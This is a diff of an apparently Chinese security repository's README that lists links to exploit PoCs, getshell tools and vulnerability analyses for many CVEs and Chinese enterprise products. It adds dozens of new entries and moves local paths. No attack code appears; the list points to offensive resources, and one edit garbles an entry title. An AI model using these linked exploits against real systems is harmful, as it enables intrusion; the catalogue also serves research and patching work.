[YzmCMS 5.4 后台getshell](https://xz.aliyun.com/t/7231) - 关于Ghostcat(幽灵猫CVE-2020-1938漏洞):[CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc](https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC)|[Java版本POC](https://github.com/0nise/CVE-2020-1938)|[Tomcat-Ajp协议文件读取漏洞](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/)|[又一个python版本CVE-2020-1938漏洞检测](https://github.com/xindongzhuaizhuai/CVE-2020-1938)|[CVE-2020-1938-漏洞复现环境及EXP](https://github.com/laolisafe/CVE-2020-1938) - [CVE-2020-8840:Jackson-databind远程命令执行漏洞(或影响fastjson)](https://github.com/jas502n/CVE-2020-8840) -- [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) +- [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./web/CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) - [CVE-2020-7246-PHP项目管理系统qdPM< 9.1 RCE](https://www.exploit-db.com/exploits/48146) - [CVE-2020-9547:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9547) - [CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9548) - [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033) - [CVE-2020-2555:WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)|[CVE-2020-2555-Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE](https://github.com/Y4er/CVE-2020-2555) - [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947) -- [CVE-2020-0554:phpMyAdmin后台SQL注入](./CVE-2020-0554:phpMyAdmin后台SQL注入.md) -- [泛微E-Mobile Ognl 表达式注入](./泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) +- [CVE-2020-0554:phpMyAdmin后台SQL注入](./web/CVE-2020-0554:phpMyAdmin后台SQL注入.md) +- [泛微E-Mobile Ognl 表达式注入](./web/泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) - [泛微10前台上传 getshell](https://github.com/west9b/Weaver/tree/7130bc856cf8b5cbc739a7934cdc01872f4107f3)|[Python 版本 getshell](https://github.com/gglvv/2022hvv-eoffice10-getshell) - [通达OA RCE漏洞](https://github.com/fuhei/tongda_rce)|[通达OAv11.6版本RCE复现分析+EXP](./books/通达OAv11.6版本漏洞复现分析.pdf)-[EXP下载](./tools/通达OA_v11.6_RCE_EXP.py) - [CVE-2020-10673-jackson-databind JNDI注入导致远程代码执行](https://github.com/0nise/vuldebug) - [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具,图形化界面(Sonatype Nexus <3.21.1)](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204) - [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/) - [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260) -- [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md) +- [通达OA前台任意用户伪造登录漏洞批量检测](./web/通达OA前台任意用户伪造登录漏洞批量检测.md) - [CVE-2020-11890 JoomlaRCE <3.9.17 远程命令执行漏洞(需要有效的账号密码)](https://github.com/HoangKien1020/CVE-2020-11890) - [CVE-2020-10238【JoomlaRCE <= 3.9.15 远程命令执行漏洞(需要有效的账号密码)】&CVE-2020-10239【JoomlaRCE 3.7.0 to 3.9.15 远程命令执行漏洞(需要有效的账号密码)】](https://github.com/HoangKien1020/CVE-2020-10238) - [CVE-2020-2546,CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3](https://github.com/hktalent/CVE_2020_2546)|[CVE-2020-2883-Weblogic coherence.jar RCE](https://github.com/Y4er/CVE-2020-2883)|[WebLogic-Shiro-shell-WebLogic利用CVE-2020-2883打Shiro rememberMe反序列化漏洞,一键注册filter内存shell](https://github.com/Y4er/WebLogic-Shiro-shell)|[shiro_rce_tool:可能是最好用的shiro利用工具](https://github.com/wyzxxz/shiro_rce_tool)|[ShiroExploit:ShiroExploit 是一款 Shiro 可视化利用工具,集成密钥爆破,命令回显内存马注入等功能](https://github.com/KpLi0rn/ShiroExploit) - [tongda_oa_rce-通达oa 越权登录+文件上传getshell](https://github.com/clm123321/tongda_oa_rce) - [CVE-2020-11651-SaltStack Proof of Concept【认证绕过RCE漏洞】](https://github.com/0xc0d/CVE-2020-11651)|[CVE-2020-11651&&CVE-2020-11652 EXP](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP) -- [showdoc的api_page存在任意文件上传getshell](./showdoc的api_page存在任意文件上传getshell.md) +- [showdoc的api_page存在任意文件上传getshell](./web/showdoc的api_page存在任意文件上传getshell.md) - [Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法](https://github.com/CaijiOrz/fastjson-1.2.47-RCE) - [SpringBoot_Actuator_RCE](https://github.com/jas502n/SpringBoot_Actuator_RCE) - [jizhicms(极致CMS)v1.7.1代码审计-任意文件上传getshell+sql注入+反射XSS](./books/jizhicms(极致CMS)v1.7.1代码审计引发的思考.pdf) @@ -227,23 +237,23 @@ - [CVE-2020-14645-WebLogic 远程代码执行漏洞](https://github.com/Y4er/CVE-2020-14645)|[Weblogic_CVE-2020-14645](https://github.com/DSO-Lab/Weblogic_CVE-2020-14645) - [CVE-2020-6287-SAP NetWeaver AS JAVA 授权问题漏洞-创建用户EXP](https://github.com/duc-nt/CVE-2020-6287-exploit)|[SAP_RECON-PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)](https://github.com/chipik/SAP_RECON) - [CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029-jenkins-rce](https://github.com/orangetw/awesome-jenkins-rce-2019) -- [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) +- [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./web/CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) - [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf) - [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163) -- [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md) +- [【0day RCE】Horde Groupware Webmail Edition RCE](./web/【0day%20RCE】Horde%20Groupware%20Webmail%20Edition%20RCE.md) - [pulse-gosecure-rce-Tool to test for existence of CVE-2020-8218](https://github.com/withdk/pulse-gosecure-rce-poc) - [Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)](https://github.com/BishopFox/pwn-pulse) -- [Zblog默认Theme_csrf+储存xss+getshell](./Zblog默认Theme_csrf+储存xss+getshell.md) +- [Zblog默认Theme_csrf+储存xss+getshell](./web/Zblog默认Theme_csrf+储存xss+getshell.md) - [用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入](https://mrxn.net/Infiltration/292.html)|[绿盟UTS综合威胁探针管理员任意登录复现](https://mrxn.net/Infiltration/276.html)|[HW弹药库之深信服EDR 3.2.21 任意代码执行漏洞分析](https://mrxn.net/jswz/267.html) - [CVE-2020-13935-Tomcat的WebSocket安全漏洞可导致拒绝服务攻击](https://github.com/RedTeamPentesting/CVE-2020-13935) - [Douphp 网站后台存储型XSS漏洞分析](./books/Douphp%20网站后台存储型XSS漏洞分析.pdf)-[原文地址](https://mp.weixin.qq.com/s/dmFoMJaUH_ULnhu_T9jSGA) - [Adminer 简单的利用](./books/Adminer简单的利用.pdf)-[原文地址](https://mp.weixin.qq.com/s/fgi4S-2vdvc-pSmFGGQzgw) - [骑士CMS assign_resume_tpl远程代码执行分析](./books/骑士CMS%20远程代码执行分析%20-%20Panda.pdf)-[原文地址](https://www.cnpanda.net/codeaudit/827.html) - [kibana由原型污染导致RCE的漏洞(CVE-2019-7609)](https://github.com/mpgn/CVE-2019-7609)-[YouTube相关报告](https://www.youtube.com/watch?v=KVDOIFeRaPQ) -- [cve-2019-17558-apache solr velocity 注入远程命令执行漏洞 ](https://github.com/SDNDTeam/CVE-2019-17558_Solr_Vul_Tool) +- [cve-2019-17558-apache solr velocity 注入远程命令执行漏洞](https://github.com/SDNDTeam/CVE-2019-17558_Solr_Vul_Tool) - [Weblogic Server(CVE-2021-2109 )远程代码执行漏洞](./books/Weblogic%20Server(CVE-2021-2109%20)远程代码执行漏洞复现.pdf)-[原文地址](https://mp.weixin.qq.com/s/kEi1s3Ki-h7jjdO7gyDsaw) - [辰光PHP客服系统源码3.6 前台 getshell-0day](./books/辰光PHP客服系统源码3.620%前台20%getshell-0day.pdf)|[原文地址](https://mp.weixin.qq.com/s/jWqhZYXuBQ2kfpvnWsfeXA) -- [zzzcms(asp)前台Getshell](./zzzcms(asp)前台Getshell.md) +- [zzzcms(asp)前台Getshell](./web/zzzcms(asp)前台Getshell.md) - [wjdhcms前台Getshell(条件竞争)](./books/wjdhcms前台Getshell(条件竞争).pdf)-[原文地址](https://www.t00ls.net/articles-59727.html) - [glpi_cve-2020-11060](https://github.com/zeromirror/cve_2020-11060)-[相关文章](https://xz.aliyun.com/t/9144) - [CVE-2021-21315-PoC-Node.js组件systeminformation代码注入漏洞](https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC) @@ -265,7 +275,7 @@ - [laravel-exploits:Exploit for CVE-2021-3129](https://github.com/ambionics/laravel-exploits) - [CVE-2021-21234:Spring Boot 目录遍历](https://github.com/xiaojiangxl/CVE-2021-21234) - [CVE-2021-22205:gitlab ce 文件上传 ExifTool导致命令执行 的 RCE 漏洞](https://github.com/RedTeamWing/CVE-2021-22205) -- [Hadoop Yarn RPC未授权RCE](https://github.com/cckuailong/YarnRpcRCE) +- [Hadoop Yarn R未授权RCE](https://github.com/cckuailong/YarnRpcRCE) - [CVE-2021-41277:Metabase 敏感信息泄露](https://github.com/Seals6/CVE-2021-41277) - [Alibaba Sentinel 前台 SSRF](https://github.com/alibaba/Sentinel/issues/2451) - [CVE-2021-37580:Apache ShenYu权限认证绕过](https://github.com/fengwenhua/CVE-2021-37580) @@ -305,7 +315,7 @@ - [CVE-2022-36446-Webmin-Software-Package-Updates-RCE:Webmin 远程代码执行漏洞](https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE) - [CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞](https://github.com/HKirito/CVE-2022-33980) - [CVE-2022-31101:PrestaShop bockwishlist module 2.1.0 SQLi](https://github.com/karthikuj/CVE-2022-31101) -- [CVE-2022-30525:CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EXPC](https://github.com/west9b/CVE-2022-30525) +- [CVE-2022-30525:CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EX](https://github.com/west9b/CVE-2022-30525) - [CVE-2022-2185:gitlab 远程代码执行(需要身份验证)](https://github.com/ESUAdmin/CVE-2022-2185) - [CVE-2022-27925-PoC:Zimbra Collaboration 存在路径穿越漏洞最终导致RCE](https://github.com/vnhacker1337/CVE-2022-27925-PoC)|[zaber:golang 编写的 CVE-2019-9670 XXE 漏洞利用工具](https://github.com/oppsec/zaber) - [CVE-2022-1040:Sophos XG115w 防火墙 17.0.10 MR-10 - 身份验证绕过](https://github.com/APTIRAN/CVE-2022-1040) @@ -318,7 +328,7 @@ - [Weblogic-CVE-2023-21839:Oracle WebLogic Server远程代码执行](https://github.com/DXask88MA/Weblogic-CVE-2023-21839)|[Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)](https://github.com/4ra1n/CVE-2023-21839) - [CVE-2022-39952:FortiNAC keyUpload zipslip 远程代码执行漏洞](https://github.com/horizon3ai/CVE-2022-39952) - [CVE-2022-21587:Oracle E-Business Suite 未授权RCE](https://github.com/hieuminhnv/CVE-2022-21587-POC)|[Oracle E-BS CVE-2022-21587 Exploit Plugin for woodpecker-framwork](https://github.com/Zh1z3ven/Oracle-E-BS-CVE-2022-21587-Exploit) -- [Alibab-Nacos-Unauthorized-Login: Alibab Nacos <= 2.2.0 未授权访问「默认key生成jwt token」](https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login)|[Nacos-Authentication-Bypass-Poc ](https://github.com/atk7r/Nacos-Authentication-Bypass-Poc)|[nacos_vul: Nacos身份验证绕过批量检测(QVD-2023-6271)+ 直接添加用户](https://github.com/Pizz33/nacos_vul) +- [Alibab-Nacos-Unauthorized-Login: Alibab Nacos <= 2.2.0 未授权访问「默认key生成jwt token」](https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login)|[Nacos-Authentication-Bypass-Poc](https://github.com/atk7r/Nacos-Authentication-Bypass-Poc)|[nacos_vul: Nacos身份验证绕过批量检测(QVD-2023-6271)+ 直接添加用户](https://github.com/Pizz33/nacos_vul) - [CVE-2023-27524: Apache Superset中不安全的默认配置](https://github.com/horizon3ai/CVE-2023-27524) - [CVE-2023-1671: Sophos Web Appliance 远程命令执行漏洞](https://github.com/W01fh4cker/CVE-2023-1671-POC) - [CVE-2023-28771-PoC: Zyxel firewalls 命令注入漏洞](https://github.com/BenHays142/CVE-2023-28771-PoC) @@ -337,7 +347,7 @@ - [CVE-2024-4577:PHP CGI Windows平台远程代码执行漏洞](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-4577.yaml)|[1](https://github.com/bfengj/CTF/blob/main/Web/php/CVE-2024-4577/README.md)|[2](https://lorexxar.cn/2024/06/11/phpcgi-rce/) - [CVE-2024-34102:Magento estimate-shipping-methods XXE漏洞](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-34102.yaml) - [CVE-2024-37032:Ollama 目录遍历致代码执行漏洞](https://github.com/Bi0x/CVE-2024-37032) -- [CVE-2024-5806:MOVEit 转移身份验证绕过漏洞 ](https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit_CVE-2024-5806) +- [CVE-2024-5806:MOVEit 转移身份验证绕过漏洞](https://github.com/watchtowrlabs/watchTowr-vs-progress-moveit_CVE-2024-5806) - [thinkphp3.2.5的一个伪0day](./books/thinkphp3.2.5的一个伪0day.html) - [海康威视综合安防管理平台productFile远程命令执行漏洞分析](./books/海康威视综合安防管理平台productFile远程命令执行漏洞分析.html) - [大华智慧园区系统登录绕过分析](./books/大华智慧园区系统登录绕过分析.html) @@ -368,6 +378,7 @@ - [从 js map 泄露到接管 OSS 对象存储的一次经典案例分享](./books/从%20js%20map%20泄露到接管%20OSS%20对象存储的一次经典案例分享.html) - [浅析DolphinPHP新版本的漏洞挖掘](./books/浅析DolphinPHP新版本的漏洞挖掘.html) - [通用Tomcat InvokerServlet RCE攻击链挖掘](./books/通用Tomcat%20InvokerServlet%20RCE攻击链挖掘.html) +- [从 Tomcat JMX Proxy 到 RCE:AccessLogValve 注入利用](https://hackt.us/from-tomcat-jmx-proxy-to-rce-via-accesslogvalve-injection)|[jmx2rce:Tomcat JMX Proxy 未授权 AccessLogValve 注入利用工具(扫描/文件读取/RCE/清理一体化)](https://github.com/Hacktus/jmx2rce) - [金和OA C6办公系统全局绕过漏洞分析](./books/金和OA%20C6办公系统全局绕过漏洞分析.html) - [关于PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)简要说明](./books/关于PHP%20CGI%20Windows平台远程代码执行漏洞(CVE-2024-4577)简要说明.html) - [MSSQL注入绕过360执行命令](./books/MSSQL注入绕过360执行命令.html) @@ -762,27 +773,137 @@ - [东胜物流软件 MsAnnounceController SQL注入漏洞](https://mrxn.net/jswz/dongsheng-MsAnnounce-GetData-sqli.html) - [大蚂蚁 (BigAnt) 即时通讯系统 PublicController 任意文件读取漏洞](https://mrxn.net/jswz/bigant-Public-download.html) - [东胜物流软件 MsChDuiController 多个SQL注入漏洞](https://mrxn.net/jswz/dongsheng-MsChDuiController-sqli.html) +- [九佳易管理系统 picHY.ashx SQL 注入漏洞](https://mrxn.net/jswz/a8erp-HuiYuanDangAn-picHY-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 安装程序二次注入致远程代码执行漏洞](https://mrxn.net/jswz/bigant-install-config-rce.html) +- [青龙面板最新版v2.20.1 鉴权绕过致RCE](https://mrxn.net/jswz/qinglong-auth-bypass-rce.html) | [青龙(qinglong)面板权限绕过致未授权远程代码执行(RCE)漏洞分析复现.md](./vuln_pocs/exploit-tools/qinglong-auth-bypass2rce/青龙(qinglong)面板权限绕过致未授权远程代码执行(RCE)漏洞分析复现.md) +- [大蚂蚁 (BigAnt) 即时通讯系统 moveDept SQL注入漏洞](https://mrxn.net/jswz/bigant-dept-moveDept-sqli.html) +- [九佳易管理系统 Ajax_XT.ashx SQL 注入漏洞](https://mrxn.net/jswz/a8erp-Ajax_XT-sqli.html) +- [九佳易管理系统 PrivilegedCodeDestroy.asmx SQL注入漏洞](https://mrxn.net/jswz/a8erp-Interface-licx-PrivilegedCodeDestroy-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 updateLoginName SQL注入漏洞](https://mrxn.net/jswz/bigant-user-updateLoginName-sqli.html) +- [深信服运维安全管理系统 change_net 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-netConfig-change_net-rce.html) +- [深信服运维安全管理系统 del_net 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-netConfig-del_net-rce.html) +- [深信服运维安全管理系统 del_route 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-netConfig-del_route-rce.html) +- [深信服运维安全管理系统 getLdap 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-getLdap-rce.html) +- [深信服运维安全管理系统 save_SNMP 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-SNMP-save_SNMP-rce.html) +- [深信服运维安全管理系统 csspost/update 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-csspost-update-rce.html) +- [深信服运维安全管理系统 upload_file 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-cssp-app-upload_file-rce.html) +- [深信服运维安全管理系统 del_patch 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-concentration_management-del_patch-rce.html) +- [深信服运维安全管理系统 install_patch 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-concentration_management-install_patch-rce.html) +- [深信服运维安全管理系统 remote_get_clip_img 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-subforeign-audit-remote_get_clip_img-rce.html) +- [深信服运维安全管理系统 uninstall_patch 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-concentration_management-uninstall_patch-rce.html) +- [深信服运维安全管理系统 get_clip_img 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-subforeign-audit-get_clip_img-rce.html) +- [深信服运维安全管理系统 down_load 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-subforeign-audit-down_load-rce.html) +- [深信服运维安全管理系统 port_validate 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-ip_and_port-port_validate-rce.html) +- [深信服运维安全管理系统 save_strategy 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-node_management-save_strategy-rce.html) +- [深信服运维安全管理系统 generate_certificate 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-outServices-generate_certificate-rce.html) +- [深信服运维安全管理系统 update_date 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-timeSet-update_date-rce.html) +- [深信服运维安全管理系统 upload_CN 远程命令执行漏洞](https://mrxn.net/jswz/sangfor_osm-system-version-upload_CN-rce.html) +- [深科特 LEAN MES系统 ChooseLineAndRes.ashx SQL 注入漏洞](https://mrxn.net/jswz/lean-mes-ChooseLineAndRes-sqli.html) +- [深科特 LEAN MES系统 /Handler/SMTLoadingMaterial.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-SMTLoadingMaterial-sqli.html) +- [深科特 LEAN MES系统 EquipmentTree.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-EquipmentTree-sqli.html) +- [深科特 LEAN MES系统 UploadPortraits.ashx 文件上传漏洞](https://mrxn.net/jswz/lean-mes-UploadPortraits-fileupload-rce.html) +- [深科特 LEAN MES系统 /Handler/FileSync.ashx 任意文件读取/上传/删除/SSRF等多个漏洞](https://mrxn.net/jswz/lean-mes-FileSync-fileupload-rce-ssrf-filerad.html) +- [深科特 LEAN MES系统 DownLoad.aspx 任意文件读取漏洞](https://mrxn.net/jswz/lean-mes-DownLoad-fileread.html) +- [深科特 LEAN MES系统 /Handler/MobileAppLogin.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-MobileAppLogin-sqli.html) +- [深科特 LEAN MES系统 PrintUpdate.ashx 任意文件读取/上传/删除漏洞](https://mrxn.net/jswz/lean-mes-PrintUpdate-fileupload-rce-fileread.html) +- [深科特 LEAN MES系统 TestManagePlatform.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-TestManagePlatform-sqli.html) +- [深科特 LEAN MES系统 UploadHander.ashx 文件上传漏洞](https://mrxn.net/jswz/lean-mes-UploadHander-fileuplaod-rce.html) +- [深科特 LEAN MES系统 CreateMenus.aspx 任意文件上传漏洞](https://mrxn.net/jswz/lean-mes-CreateMenus-fileuplaod-rce.html) +- [深科特 LEAN MES系统 AutoComplete.ashx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-AutoComplete-sqli.html) +- [深科特 LEAN MES系统 ChooseImage.aspx 任意文件上传/删除漏洞](https://mrxn.net/jswz/lean-mes-ChooseImage-fileupload-rce-filedel.html) +- [深科特 LEAN MES系统 SetDataSource.aspx SQL注入漏洞](https://mrxn.net/jswz/lean-mes-SetDataSource-sqli.html) +- [CLIProxyAPI /v1internal:method 未授权访问漏洞](https://mrxn.net/news/CLIProxyAPI-v1internal-method-unauthorized-access.html) +- [shannon:面向 Web 应用与 API 的自主 AI 渗透测试工具,支持代码感知动态漏洞挖掘与自动化 PoC 验证](https://github.com/KeygraphHQ/shannon) +- [孚盟云CRM AjaxTrackInfo.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-AjaxTrackInfo-sqli.html) +- [孚盟云CRM DingHandler.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-DingHandler-sqli.html) +- [孚盟云CRM PriceList.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-PriceList-sqli.html) +- [孚盟云CRM WorkFlowHandler.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-WorkFlowHandler-sqli.html) +- [孚盟云CRM AddInquiry.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-AddInquiry-sqli.html) +- [孚盟云CRM OrderLook.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-OrderLook-sqli.html) +- [孚盟云CRM FormDefault.aspx、FormDefaultCommon.aspx 多处SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-FormDefault-sqli.html) +- [天地伟业Easy7 queryRoomName SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-queryRoomName-sqli.html) +- [天地伟业Easy7 queryRoomConfigs SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-queryRoomConfigs-sqli.html) +- [天地伟业Easy7 UploadOwnerImage.jsp 文件上传漏洞](https://mrxn.net/jswz/easy7-apps-WebService-UploadOwnerImage-rce.html) +- [mdserver-web(夸父面板)≤0.18.4 多处未授权访问 + 信息泄露 + RCE 漏洞分析](https://mrxn.net/jswz/mdserver-web-unauthentication-bypass-rce.html) +- [天地伟业Easy7 GetOtherDomainServer.jsp SSRF漏洞](https://mrxn.net/jswz/easy7-apps-WebService-GetOtherDomainServer-SSRF.html) +- [天地伟业Easy7 getInquestIdByRoomId SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-getInquestIdByRoomId-sqli.html) +- [天地伟业Easy7 getInquestRoomChannelInfo SQL注入漏洞](https://mrxn.net/jswz/1422.html) +- [V2Board 信息泄露漏洞至权限绕过接管账户(CVE-2026-39912)分析复现](https://mrxn.net/jswz/v2board-data-leak-authentication-bypass.html) +- [天地伟业Easy7 isHashCameraAuth SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-isHashCameraAuth-sqli.html) +- [天地伟业Easy7 getConfigInfoList SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-inquestRoom-getConfigInfoList-sqli.html) +- [天地伟业Easy7 capture 命令执行漏洞](https://mrxn.net/jswz/easy7-rest-file-capture-rce.html) +- [天地伟业Easy7 uploadLedImage 文件上传漏洞](https://mrxn.net/jswz/easy7-rest-file-uploadLedImage-rce.html) +- [天地伟业Easy7 /Easy7/rest/file/delete 文件删除漏洞](https://mrxn.net/jswz/easy7-rest-file-delete.html) +- [天地伟业Easy7 /Easy7/rest/file/downloadFile 文件读取漏洞](https://mrxn.net/jswz/easy7-rest-file-downloadFile.html) +- [天地伟业Easy7 /Easy7/rest/file/uploadIdsHttpFile SSRF+文件写入漏洞](https://mrxn.net/jswz/easy7-rest-file-uploadIdsHttpFile-rce.html) +- [孚盟云CRM CustomizeReportSelectMould.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-CustomizeReport-CustomizeReportSelectMould-sqli.html) +- [孚盟云CRM ClientNameCard.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Card-ClientNameCard-sqli.html) +- [孚盟云CRM BusinessPrice.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPrice-sqli.html) +- [cPanel WHM 权限绕过致RCE【cve-2026-41940】](https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py) | [cve-2026-41940 漏洞分析](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/) +- [孚盟云CRM BusinessPriceListList.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPriceList-sqli.html) +- [天地伟业Easy7 /Easy7/rest/file/uploadFile 文件上传漏洞](https://mrxn.net/jswz/easy7-rest-file-uploadFile-rce.html) +- [天地伟业Easy7 /Easy7/rest/file/deleteFile 文件删除漏洞](https://mrxn.net/jswz/easy7-rest-file-deleteFile.html) +- [天地伟业Easy7 /Easy7/rest/file/download 文件读取漏洞](https://mrxn.net/jswz/easy7-rest-file-download-fileread.html) +- [天地伟业Easy7 /Easy7/rest/user/getAuthorityByUserId SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-user-getAuthorityByUserId-sqli.html) +- [天地伟业Easy7 /Easy7/rest/user/IsPermissible SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-user-IsPermissible-sqli.html) +- [天地伟业Easy7 /Easy7/rest/user/getAuthorityByUserId SQL注入漏洞](https://mrxn.net/jswz/easy7-rest-user-getAuthorityByUserId-sqli-2.html) +- [孚盟云CRM BusinessPriceOk.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPriceOk-sqli.html) +- [孚盟云CRM BusinessPriceReport.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusinessPriceReport-sqli.html) +- [孚盟云CRM BusiPriceOkPrint.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-BusiPriceOkPrint-sqli.html) +- [用友 NC 系统 IMsgCenterWebService SQL注入漏洞](https://mrxn.net/jswz/yonyou-nc-IMsgCenterWebService-resetInvacationInfoByUsercode-sqli.html) +- [孚盟云CRM LoadMailAttachFile.aspx 任意文件读取/移动](https://mrxn.net/jswz/fumacrm-Common-LoadMailAttachFile-FileName-fileread.html) +- [孚盟云CRM Inquiry.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-Inquiry-sqli.html) +- [孚盟云CRM Price_detail.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-Price_detail-sqli.html) +- [孚盟云CRM ProductGrid.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-ProductGrid-sqli.html) +- [孚盟云CRM AjaxProductList.ashx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Ajax-AjaxProductList-sqli.html) +- [孚盟云CRM ProductList.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-ProductList-sqli.html) +- [孚盟云CRM Product_field.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-Product_field-sqli.html) +- [孚盟云CRM 